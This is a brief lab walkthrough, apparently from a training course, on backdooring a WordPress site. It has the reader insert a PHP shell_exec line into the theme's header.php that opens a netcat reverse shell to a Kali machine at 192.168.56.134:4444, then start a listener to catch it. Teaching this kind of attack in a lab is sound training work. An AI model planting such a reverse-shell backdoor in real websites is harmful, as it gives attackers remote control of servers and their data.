**Lab -** **Exploiting WordPress using Metasploit**

**Overview**

From the WordPress dashboard, use the menu on the left of the screen to click on Appearance and then editor.

Graphical user interface, application

Description automatically generated

On the next page over to the right under templates, select the PHP file, header.php.

Graphical user interface, text, application

Description automatically generated

You will see the PHP code for that page:

Graphical user interface, text, application

Description automatically generated

At the top od the page, add the following using Kali’s IP and listener port:

<?php echo shell\_exec(“nc.exe 192.168.56.134 4444 -e cmd.exe”); ?>

Scroll to the bottom of the page and press the update button.

Graphical user interface, text, application, email

Description automatically generated

Back at your Kali machine, open a terminal and setup a Netcat listener using the following command.

netcat -nlvp 4444

Press enter.

Text

Description automatically generated

Return to your WordPress dashboard and refresh the page using your F5 button.